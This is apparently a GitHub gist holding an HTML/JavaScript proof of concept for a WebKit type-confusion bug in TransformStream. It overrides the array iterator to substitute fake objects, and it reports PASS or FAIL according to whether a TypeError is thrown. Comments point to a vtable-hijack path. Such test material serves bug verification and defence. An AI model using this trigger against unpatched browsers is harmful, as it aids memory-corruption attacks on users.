Last active
July 25, 2026 22:06
-
-
Save ntfargo/892977e9366c736759cb49665c3cafd9 to your computer and use it in GitHub Desktop.
Webkit: Type Confusion. | CVE-2026-43705 | https://github.com/WebKit/WebKit/commit/8fd92b1021d310b2580eb3ac7913911eb14dc476
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <!DOCTYPE html> | |
| <html> | |
| <body> | |
| <div id="result"></div> | |
| <script> | |
| function check(label, fn) { | |
| let message; | |
| try { | |
| fn(); | |
| message = "FAIL: " + label + " did not throw"; | |
| } catch (e) { | |
| if (e instanceof TypeError) | |
| message = "PASS: " + label + " threw TypeError"; | |
| else | |
| message = "FAIL: " + label + " threw " + e; | |
| } | |
| const div = document.createElement("div"); | |
| div.textContent = message; | |
| document.getElementById("result").appendChild(div); | |
| } | |
| const originalIterator = Array.prototype[Symbol.iterator]; | |
| // Variant 1: substitute plain objects for the readable/writable slots. | |
| Array.prototype[Symbol.iterator] = function() { | |
| const arr = this; | |
| let i = 0; | |
| return { | |
| next() { | |
| if (i >= arr.length) | |
| return { done: true }; | |
| let val = arr[i]; | |
| if (arr.length === 3 && i >= 1) | |
| val = { fake: true }; | |
| i++; | |
| return { value: val, done: false }; | |
| } | |
| }; | |
| }; | |
| check("plain-object substitution", () => new TransformStream()); | |
| // Variant 2: substitute an object that holds a heap pointer (would survive | |
| // the initial dereference and trigger the write-increment / vtable hijack). | |
| let buf = new ArrayBuffer(65536); | |
| Array.prototype[Symbol.iterator] = function() { | |
| const arr = this; | |
| let i = 0; | |
| return { | |
| next() { | |
| if (i >= arr.length) | |
| return { done: true }; | |
| let val = arr[i]; | |
| if (arr.length === 3 && i >= 1) | |
| val = { pad: 0, ptr: buf }; | |
| i++; | |
| return { value: val, done: false }; | |
| } | |
| }; | |
| }; | |
| check("object-reference substitution", () => new TransformStream()); | |
| // Variant 3: truncated iterator returning fewer than 3 entries. | |
| Array.prototype[Symbol.iterator] = function() { | |
| return { next() { return { done: true }; } }; | |
| }; | |
| check("truncated iterator", () => new TransformStream()); | |
| Array.prototype[Symbol.iterator] = originalIterator; | |
| </script> | |
| </body> | |
| </html> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment